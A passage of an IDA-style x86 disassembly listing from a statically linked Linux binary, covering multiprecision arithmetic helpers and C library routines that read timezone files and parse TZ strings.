		mov	edi, [ebp+var_10]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_10], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	loc_8059ED0
		dec	[ebp+var_C]

loc_8059E53:				; CODE XREF: sub_8059938+4D6j
					; sub_8059938+4DFj
		mov	esi, [ebp+var_10]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_10], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_8059ED0
		dec	[ebp+var_C]
		jz	loc_8059F40
		lea	esi, [esi+0]

loc_8059E74:				; CODE XREF: sub_8059938+4DAj
					; sub_8059938+593j
		mov	edi, [ebp+var_10]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_10], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_8059ED0
		dec	[ebp+var_C]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_10], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_8059ED0
		dec	[ebp+var_C]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_10], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_8059ED0
		dec	[ebp+var_C]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_10], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_8059ED0
		dec	[ebp+var_C]
		jnz	short loc_8059E74
		jmp	short loc_8059F40
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8059ED0:				; CODE XREF: sub_8059938+4BBj
					; sub_8059938+4F6j ...
		cmp	[ebp+var_10], ebx
		jz	short loc_8059F40
		xor	ecx, ecx
		mov	esi, [ebp+var_C]
		dec	esi
		mov	[ebp+var_C], esi
		cmp	ecx, esi
		jge	short loc_8059F40
		mov	eax, esi
		and	eax, 3
		jz	short loc_8059F14
		cmp	eax, 1
		jle	short loc_8059F05
		cmp	eax, 2
		jle	short loc_8059EFB
		mov	edi, [ebp+var_10]
		mov	eax, [edi]
		mov	[ebx], eax
		inc	ecx

loc_8059EFB:				; CODE XREF: sub_8059938+5B9j
		mov	esi, [ebp+var_10]
		mov	eax, [esi+ecx*4]
		mov	[ebx+ecx*4], eax
		inc	ecx

loc_8059F05:				; CODE XREF: sub_8059938+5B4j
		mov	edi, [ebp+var_10]
		mov	eax, [edi+ecx*4]
		mov	[ebx+ecx*4], eax
		inc	ecx
		cmp	[ebp+var_C], ecx
		jz	short loc_8059F40

loc_8059F14:				; CODE XREF: sub_8059938+5AFj
					; sub_8059938+606j
		mov	esi, [ebp+var_10]
		mov	eax, [esi+ecx*4]
		mov	[ebx+ecx*4], eax
		lea	edx, [ecx+1]
		mov	eax, [esi+edx*4]
		mov	[ebx+edx*4], eax
		lea	edx, [ecx+2]
		mov	eax, [esi+edx*4]
		mov	[ebx+edx*4], eax
		lea	edx, [ecx+3]
		mov	eax, [esi+edx*4]
		mov	[ebx+edx*4], eax
		add	ecx, 4
		cmp	[ebp+var_C], ecx
		jnz	short loc_8059F14

loc_8059F40:				; CODE XREF: sub_8059938+78j
					; sub_8059938+497j ...
		lea	esp, [ebp+var_1C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8059938	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+8]
		mov	ebx, [ebp+0Ch]
		mov	ecx, [ebp+10h]
		mov	edx, [ebp+14h]
		cmp	ebx, ecx
		jnz	short loc_8059F84
		cmp	edx, 1Fh
		jg	short loc_8059F70
		push	edx
		push	ebx
		push	esi
		call	sub_805971C
		jmp	short loc_8059FA7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8059F70:				; CODE XREF: .text:08059F64j
		lea	eax, ds:0[edx*8]
		sub	esp, eax
		push	esp
		push	edx
		push	ebx
		push	esi
		call	sub_8059938
		jmp	short loc_8059FA7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8059F84:				; CODE XREF: .text:08059F5Fj
		cmp	edx, 1Fh
		jg	short loc_8059F94
		push	edx
		push	ecx
		push	ebx
		push	esi
		call	____mpn_mul_n_basecase
		jmp	short loc_8059FA7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8059F94:				; CODE XREF: .text:08059F87j
		lea	eax, ds:0[edx*8]
		sub	esp, eax
		push	esp
		push	edx
		push	ecx
		push	ebx
		push	esi
		call	sub_8059048

loc_8059FA7:				; CODE XREF: .text:08059F6Ej
					; .text:08059F82j ...
		lea	esp, [ebp-8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; [0000005B BYTES: COLLAPSED FUNCTION __mpn_rshift. PRESS KEYPAD "+" TO	EXPAND]
		align 8
; [0000009E BYTES: COLLAPSED FUNCTION __mpn_sub_n. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [0000003F BYTES: COLLAPSED FUNCTION __mpn_submul_1. PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805A0F0	proc near		; CODE XREF: sub_805A254+E8p
					; sub_805A254+FAp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		movzx	eax, byte ptr [ecx]
		shl	eax, 8
		movzx	edx, byte ptr [ecx+1]
		or	eax, edx
		mov	edx, eax
		shl	edx, 8
		movzx	eax, byte ptr [ecx+2]
		or	eax, edx
		mov	edx, eax
		shl	edx, 8
		movzx	eax, byte ptr [ecx+3]
		or	eax, edx
		mov	esp, ebp
		pop	ebp
		retn
sub_805A0F0	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805A11C	proc near		; CODE XREF: sub_805AF5C+A8p
					; sub_805B010+2Dp

var_C		= byte ptr -0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	dword_8078B1C, offset unk_8068EA4
		mov	dword_8078B20, offset unk_8068EA4
		mov	dword_8078B28, 0
		mov	dword_8078B24, 0
		mov	dword_8078B2C, 0
		xor	ecx, ecx
		cmp	ds:dword_807B0E8, ecx
		jle	short loc_805A1C4
		mov	ebx, offset dword_807B82C
		mov	edx, offset unk_807B830
		xor	esi, esi
		lea	esi, [esi]

loc_805A16C:				; CODE XREF: sub_805A11C+A6j
		mov	eax, [edx]
		mov	edi, ds:dword_807B834[esi]
		add	edi, offset unk_807C82C
		mov	dword_8078B1C[eax*4], edi
		cmp	dword ptr [edx], 0
		jz	short loc_805A190
		mov	dword_8078B28, 1

loc_805A190:				; CODE XREF: sub_805A11C+68j
		test	ecx, ecx
		jz	short loc_805A199
		cmp	dword ptr [edx], 0
		jnz	short loc_805A1A8

loc_805A199:				; CODE XREF: sub_805A11C+76j
		mov	edi, [ebx]
		neg	edi
		mov	dword_8078B24, edi
		cmp	dword ptr [edx], 0
		jz	short loc_805A1B2

loc_805A1A8:				; CODE XREF: sub_805A11C+7Bj
		mov	edi, [ebx]
		neg	edi
		mov	dword_8078B2C, edi

loc_805A1B2:				; CODE XREF: sub_805A11C+8Aj
		add	ebx, 10h
		add	edx, 10h
		add	esi, 10h
		inc	ecx
		cmp	ds:dword_807B0E8, ecx
		jg	short loc_805A16C

loc_805A1C4:				; CODE XREF: sub_805A11C+40j
		push	0
		call	__libc_time
		lea	esi, [eax+1E28500h]
		xor	ecx, ecx
		cmp	ds:dword_807B0E4, ecx
		jle	short loc_805A247
		mov	ebx, offset dword_807B0E0

loc_805A1E0:				; CODE XREF: sub_805A11C+129j
		cmp	[ebx+ecx*4+10h], esi
		jg	short loc_805A23E
		movzx	eax, byte ptr [ebx+ecx+5D8h]
		shl	eax, 4
		lea	edx, dword_807B82C[eax]
		mov	eax, [edx+4]
		mov	edi, [edx+8]
		add	edi, offset unk_807C82C
		mov	dword_8078B1C[eax*4], edi
		cmp	dword ptr [edx+4], 0
		jz	short loc_805A21A
		mov	dword_8078B28, 1

loc_805A21A:				; CODE XREF: sub_805A11C+F2j
		test	ecx, ecx
		jz	short loc_805A224
		cmp	dword ptr [edx+4], 0
		jnz	short loc_805A234

loc_805A224:				; CODE XREF: sub_805A11C+100j
		mov	edi, [edx]
		neg	edi
		mov	dword_8078B24, edi
		cmp	dword ptr [edx+4], 0
		jz	short loc_805A23E

loc_805A234:				; CODE XREF: sub_805A11C+106j
		mov	edx, [edx]
		neg	edx
		mov	dword_8078B2C, edx

loc_805A23E:				; CODE XREF: sub_805A11C+C8j
					; sub_805A11C+116j
		inc	ecx
		cmp	ds:dword_807B0E4, ecx
		jg	short loc_805A1E0

loc_805A247:				; CODE XREF: sub_805A11C+BDj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805A11C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805A254	proc near		; CODE XREF: sub_805AAC0+7Bp
					; sub_805AF2C+Dp ...

var_1D5C	= byte ptr -1D5Ch
var_1D50	= dword	ptr -1D50h
var_1D4C	= dword	ptr -1D4Ch
var_1D48	= dword	ptr -1D48h
var_1D44	= dword	ptr -1D44h
var_1D40	= byte ptr -1D40h
var_1D28	= byte ptr -1D28h
var_1D24	= byte ptr -1D24h
var_1D20	= byte ptr -1D20h
var_1D1C	= byte ptr -1D1Ch
var_1D18	= byte ptr -1D18h
var_1D14	= byte ptr -1D14h
var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1D50h
		push	edi
		push	esi
		push	ebx
		cmp	[ebp+arg_0], 0
		jnz	short loc_805A277
		mov	[ebp+arg_0], offset aLocaltime ; "localtime"
		cmp	[ebp+arg_0], 0
		jz	loc_805A3EF

loc_805A277:				; CODE XREF: sub_805A254+10j
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx],	3Ah
		jnz	short loc_805A283
		inc	edx
		mov	[ebp+arg_0], edx

loc_805A283:				; CODE XREF: sub_805A254+29j
		mov	ecx, [ebp+arg_0]
		cmp	byte ptr [ecx],	2Fh
		jz	short loc_805A2EE
		mov	esi, offset aUsrLibZoneinfo ; "/usr/lib/zoneinfo"
		test	esi, esi
		jz	loc_805A3EF
		xor	al, al
		mov	edi, esi
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	edx, ecx
		not	edx
		mov	edi, [ebp+arg_0]
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		lea	eax, [edx+eax-1]
		cmp	eax, 400h
		ja	loc_805A3EF
		push	esi
		lea	ebx, [ebp+var_404]
		push	ebx
		call	strcpy
		push	offset asc_8068EC4 ; "/"
		push	ebx
		call	strcat
		mov	edx, [ebp+arg_0]
		push	edx
		push	ebx
		call	strcat
		mov	[ebp+arg_0], ebx
		add	esp, 18h

loc_805A2EE:				; CODE XREF: sub_805A254+35j
		push	0
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	__libc_open
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		jz	loc_805A3EF
		push	193Ch
		lea	eax, [ebp+var_1D40]
		push	eax
		push	ebx
		call	__libc_read
		mov	edi, eax
		push	ebx
		call	__libc_close
		add	esp, 10h
		test	eax, eax
		jnz	loc_805A3EF
		cmp	edi, 2Bh
		jbe	loc_805A3EF
		lea	eax, [ebp+var_1D28]
		push	eax
		call	sub_805A0F0
		mov	[ebp+var_1D44],	eax
		lea	eax, [ebp+var_1D24]
		push	eax
		call	sub_805A0F0
		mov	edx, [ebp+arg_4]
		mov	[edx], eax
		lea	eax, [ebp+var_1D20]
		push	eax
		call	sub_805A0F0
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		lea	eax, [ebp+var_1D1C]
		push	eax
		call	sub_805A0F0
		mov	edx, [ebp+arg_4]
		mov	[edx+8], eax
		lea	eax, [ebp+var_1D18]
		push	eax
		call	sub_805A0F0
		mov	ebx, eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+0Ch], ebx
		add	esp, 14h
		cmp	dword ptr [ecx], 32h
		ja	short loc_805A3EF
		mov	eax, [ecx+8]
		dec	eax
		cmp	eax, 0FFh
		ja	short loc_805A3EF
		cmp	dword ptr [ecx+4], 172h
		ja	short loc_805A3EF
		cmp	ebx, 32h
		ja	short loc_805A3EF
		mov	edx, [ebp+var_1D44]
		cmp	[ecx+8], edx
		jz	short loc_805A3C0
		test	edx, edx
		jnz	short loc_805A3EF

loc_805A3C0:				; CODE XREF: sub_805A254+166j
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+4]
		lea	ebx, [eax+eax*4]
		mov	eax, [ecx+8]
		lea	esi, [eax+eax*4]
		lea	eax, [eax+esi+2Ch]
		add	eax, ebx
		add	eax, [ecx+0Ch]
		mov	edx, [ecx]
		shl	edx, 3
		mov	[ebp+var_1D50],	edx
		add	eax, edx
		add	eax, [ebp+var_1D44]
		cmp	edi, eax
		jnb	short loc_805A3FC

loc_805A3EF:				; CODE XREF: sub_805A254+1Dj
					; sub_805A254+3Ej ...
		mov	eax, 0FFFFFFFFh
		jmp	loc_805A577
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805A3FC:				; CODE XREF: sub_805A254+199j
		lea	esi, [ebp+var_1D14]
		xor	edi, edi
		mov	ecx, [ebp+arg_4]
		cmp	[ecx+4], edi
		jle	short loc_805A425

loc_805A40C:				; CODE XREF: sub_805A254+1CFj
		push	esi
		call	sub_805A0F0
		mov	edx, [ebp+arg_4]
		mov	[edx+edi*4+10h], eax
		add	esi, 4
		add	esp, 4
		inc	edi
		cmp	[edx+4], edi
		jg	short loc_805A40C

loc_805A425:				; CODE XREF: sub_805A254+1B6j
		xor	edi, edi
		mov	ecx, [ebp+arg_4]
		cmp	[ecx+4], edi
		jle	short loc_805A450
		nop

loc_805A430:				; CODE XREF: sub_805A254+1FAj
		mov	al, [esi]
		mov	edx, [ebp+arg_4]
		mov	[edi+edx+5D8h],	al
		inc	esi
		movzx	eax, byte ptr [edi+edx+5D8h]
		cmp	[edx+8], eax
		jle	short loc_805A3EF
		inc	edi
		cmp	[edx+4], edi
		jg	short loc_805A430

loc_805A450:				; CODE XREF: sub_805A254+1D9j
		xor	edi, edi
		mov	ecx, [ebp+arg_4]
		cmp	[ecx+8], edi
		jle	short loc_805A4B6
		mov	[ebp+var_1D4C],	74Ch

loc_805A464:				; CODE XREF: sub_805A254+260j
		mov	ebx, [ebp+arg_4]
		add	ebx, [ebp+var_1D4C]
		push	esi
		call	sub_805A0F0
		mov	[ebx], eax
		add	esi, 4
		movzx	eax, byte ptr [esi]
		mov	[ebx+4], eax
		inc	esi
		add	esp, 4
		cmp	eax, 1
		ja	loc_805A3EF
		movzx	eax, byte ptr [esi]
		mov	[ebx+8], eax
		inc	esi
		test	eax, eax
		jl	loc_805A3EF
		mov	edx, [ebp+arg_4]
		cmp	[edx+0Ch], eax
		jl	loc_805A3EF
		add	[ebp+var_1D4C],	10h
		inc	edi
		mov	ecx, [ebp+arg_4]
		cmp	[ecx+8], edi
		jg	short loc_805A464

loc_805A4B6:				; CODE XREF: sub_805A254+204j
		xor	edi, edi
		mov	edx, [ebp+arg_4]
		cmp	[edx+0Ch], edi
		jle	short loc_805A4D3

loc_805A4C0:				; CODE XREF: sub_805A254+27Dj
		mov	al, [esi]
		mov	ecx, [ebp+arg_4]
		mov	[edi+ecx+174Ch], al
		inc	esi
		inc	edi
		cmp	[ecx+0Ch], edi
		jg	short loc_805A4C0

loc_805A4D3:				; CODE XREF: sub_805A254+26Aj
		mov	edx, [ebp+arg_4]
		mov	byte ptr [edi+edx+174Ch], 0
		xor	edi, edi
		cmp	[edx], edi
		jle	short loc_805A522
		mov	[ebp+var_1D48],	1780h
		lea	esi, [esi]

loc_805A4F0:				; CODE XREF: sub_805A254+2CCj
		mov	ebx, [ebp+arg_4]
		add	ebx, [ebp+var_1D48]
		push	esi
		call	sub_805A0F0
		mov	[ebx], eax
		add	esi, 4
		push	esi
		call	sub_805A0F0
		mov	[ebx+4], eax
		add	esi, 4
		add	esp, 8
		add	[ebp+var_1D48],	8
		inc	edi
		mov	ecx, [ebp+arg_4]
		cmp	[ecx], edi
		jg	short loc_805A4F0

loc_805A522:				; CODE XREF: sub_805A254+28Ej
		xor	edi, edi
		mov	edx, [ebp+arg_4]
		cmp	[edx+8], edi
		jle	short loc_805A575
		mov	ebx, 74Ch
		lea	esi, [esi+0]

loc_805A534:				; CODE XREF: sub_805A254+31Fj
		mov	ecx, [ebp+arg_4]
		add	ecx, ebx
		mov	[ebp+var_1D50],	ecx
		cmp	[ebp+var_1D44],	0
		jz	short loc_805A55C
		movzx	eax, byte ptr [esi]
		mov	[ecx+0Ch], eax
		inc	esi
		cmp	eax, 1
		jbe	short loc_805A569
		jmp	loc_805A3EF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805A55C:				; CODE XREF: sub_805A254+2F2j
		mov	edx, [ebp+var_1D50]
		mov	dword ptr [edx+0Ch], 0

loc_805A569:				; CODE XREF: sub_805A254+2FEj
		add	ebx, 10h
		inc	edi
		mov	ecx, [ebp+arg_4]
		cmp	[ecx+8], edi
		jg	short loc_805A534

loc_805A575:				; CODE XREF: sub_805A254+2D6j
		xor	eax, eax

loc_805A577:				; CODE XREF: sub_805A254+1A0j
		lea	esp, [ebp+var_1D5C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805A254	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805A584	proc near		; CODE XREF: sub_805AAC0+16p
					; sub_805AAC0+9Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_805A5BA
		movzx	eax, dl
		mov	ebx, dword_8078FA0
		jmp	short loc_805A5AB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805A59C:				; CODE XREF: sub_805A584+34j
		cmp	dl, 2Bh
		jz	short loc_805A5BA
		inc	ecx
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_805A5BA
		movzx	eax, dl

loc_805A5AB:				; CODE XREF: sub_805A584+16j
		test	byte ptr [ebx+eax*2+1],	8
		jnz	short loc_805A5BA
		mov	al, dl
		add	al, 0D4h
		cmp	al, 1
		ja	short loc_805A59C

loc_805A5BA:				; CODE XREF: sub_805A584+Bj
					; sub_805A584+1Bj ...
		mov	eax, ecx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_805A584	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805A5C4	proc near		; CODE XREF: sub_805A634+17p
					; sub_805A634+47p ...

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edi, [ebp+arg_C]
		test	ebx, ebx
		jz	short loc_805A628
		movzx	edx, byte ptr [ebx]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	8
		jz	short loc_805A628
		xor	edx, edx
		mov	al, [ebx]
		test	al, al
		jz	short loc_805A61A
		mov	esi, dword_8078FA0
		mov	[ebp+var_4], esi
		nop

loc_805A5F8:				; CODE XREF: sub_805A5C4+54j
		movzx	ecx, al
		mov	esi, [ebp+var_4]
		test	byte ptr [esi+ecx*2+1],	8
		jz	short loc_805A61A
		lea	eax, [edx+edx*8]
		lea	eax, [edx+eax-30h]
		lea	edx, [ecx+eax]
		cmp	edx, edi
		jg	short loc_805A628
		inc	ebx
		mov	al, [ebx]
		test	al, al
		jnz	short loc_805A5F8

loc_805A61A:				; CODE XREF: sub_805A5C4+28j
					; sub_805A5C4+3Fj
		cmp	[ebp+arg_8], edx
		jg	short loc_805A628
		mov	esi, [ebp+arg_4]
		mov	[esi], edx
		mov	eax, ebx
		jmp	short loc_805A62A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805A628:				; CODE XREF: sub_805A5C4+11j
					; sub_805A5C4+20j ...
		xor	eax, eax

loc_805A62A:				; CODE XREF: sub_805A5C4+62j
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805A5C4	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805A634	proc near		; CODE XREF: sub_805A6C8+32p
					; sub_805A720+ABp

var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	18h
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	ecx
		call	sub_805A5C4
		mov	ecx, eax
		add	esp, 10h
		test	ecx, ecx
		jz	short loc_805A6B1
		mov	edx, [ebp+var_4]
		lea	eax, [edx+edx*2]
		lea	eax, [edx+eax*2]
		shl	eax, 5
		add	eax, edx
		shl	eax, 4
		mov	[ebx], eax
		cmp	byte ptr [ecx],	3Ah
		jnz	short loc_805A6BD
		inc	ecx
		push	3Bh
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	ecx
		call	sub_805A5C4
		mov	ecx, eax
		add	esp, 10h
		test	ecx, ecx
		jz	short loc_805A6B1
		mov	eax, [ebp+var_4]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		shl	eax, 2
		add	[ebx], eax
		cmp	byte ptr [ecx],	3Ah
		jnz	short loc_805A6BD
		inc	ecx
		push	3Bh
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	ecx
		call	sub_805A5C4
		mov	ecx, eax
		test	ecx, ecx
		jnz	short loc_805A6B8

loc_805A6B1:				; CODE XREF: sub_805A634+23j
					; sub_805A634+53j
		xor	eax, eax
		jmp	short loc_805A6BF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805A6B8:				; CODE XREF: sub_805A634+7Bj
		mov	esi, [ebp+var_4]
		add	[ebx], esi

loc_805A6BD:				; CODE XREF: sub_805A634+3Bj
					; sub_805A634+66j
		mov	eax, ecx

loc_805A6BF:				; CODE XREF: sub_805A634+7Fj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_805A634	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805A6C8	proc near		; CODE XREF: sub_805AAC0+64p
					; sub_805AAC0+CBp

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		cmp	byte ptr [ecx],	2Dh
		jnz	short loc_805A6E0
		mov	ebx, 1
		inc	ecx
		jmp	short loc_805A6F8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805A6E0:				; CODE XREF: sub_805A6C8+Ej
		movzx	edx, byte ptr [ecx]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	8
		jnz	short loc_805A6F6
		mov	al, [ecx]
		inc	ecx
		cmp	al, 2Bh
		jnz	short loc_805A705

loc_805A6F6:				; CODE XREF: sub_805A6C8+25j
		xor	ebx, ebx

loc_805A6F8:				; CODE XREF: sub_805A6C8+16j
		push	esi
		push	ecx
		call	sub_805A634
		mov	ecx, eax
		test	ecx, ecx
		jnz	short loc_805A70C

loc_805A705:				; CODE XREF: sub_805A6C8+2Cj
		xor	eax, eax
		jmp	short loc_805A714
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805A70C:				; CODE XREF: sub_805A6C8+3Bj
		test	ebx, ebx
		jz	short loc_805A712
		neg	dword ptr [esi]

loc_805A712:				; CODE XREF: sub_805A6C8+46j
		mov	eax, ecx

loc_805A714:				; CODE XREF: sub_805A6C8+3Fj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_805A6C8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805A720	proc near		; CODE XREF: sub_805AAC0+100p
					; sub_805AAC0+122p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		cmp	byte ptr [ecx],	4Ah
		jnz	short loc_805A740
		mov	dword ptr [ebx], 0
		inc	ecx
		push	16Dh
		push	1
		jmp	short loc_805A7A8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805A740:				; CODE XREF: sub_805A720+Dj
		cmp	byte ptr [ecx],	4Dh
		jnz	short loc_805A78C
		mov	dword ptr [ebx], 2
		inc	ecx
		push	0Ch
		push	1
		lea	eax, [ebx+0Ch]
		push	eax
		push	ecx
		call	sub_805A5C4
		mov	ecx, eax
		add	esp, 10h
		test	ecx, ecx
		jz	short loc_805A7BB
		mov	al, [ecx]
		inc	ecx
		cmp	al, 2Eh
		jnz	short loc_805A7BB
		push	5
		push	1
		lea	eax, [ebx+8]
		push	eax
		push	ecx
		call	sub_805A5C4
		mov	ecx, eax
		add	esp, 10h
		test	ecx, ecx
		jz	short loc_805A7BB
		mov	al, [ecx]
		inc	ecx
		cmp	al, 2Eh
		jnz	short loc_805A7BB
		push	6
		jmp	short loc_805A7A6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805A78C:				; CODE XREF: sub_805A720+23j
		movzx	edx, byte ptr [ecx]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	8
		jz	short loc_805A7BB
		mov	dword ptr [ebx], 1
		push	16Dh

loc_805A7A6:				; CODE XREF: sub_805A720+6Aj
		push	0

loc_805A7A8:				; CODE XREF: sub_805A720+1Dj
		lea	eax, [ebx+4]
		push	eax
		push	ecx
		call	sub_805A5C4
		mov	ecx, eax
		add	esp, 10h
		test	ecx, ecx
		jnz	short loc_805A7C0

loc_805A7BB:				; CODE XREF: sub_805A720+41j
					; sub_805A720+48j ...
		xor	eax, eax
		jmp	short loc_805A7DD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805A7C0:				; CODE XREF: sub_805A720+99j
		cmp	byte ptr [ecx],	2Fh
		jnz	short loc_805A7D4
		inc	ecx
		lea	eax, [ebx+10h]
		push	eax
		push	ecx
		call	sub_805A634
		mov	ecx, eax
		jmp	short loc_805A7DB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805A7D4:				; CODE XREF: sub_805A720+A3j
		mov	dword ptr [ebx+10h], 1C20h

loc_805A7DB:				; CODE XREF: sub_805A720+B2j
		mov	eax, ecx

loc_805A7DD:				; CODE XREF: sub_805A720+9Dj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_805A720	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805A7E4	proc near		; CODE XREF: sub_805AAC0+1BCp
					; sub_805AAC0+1D1p

var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], 0
		mov	edx, [ebp+arg_4]
		test	dl, 3
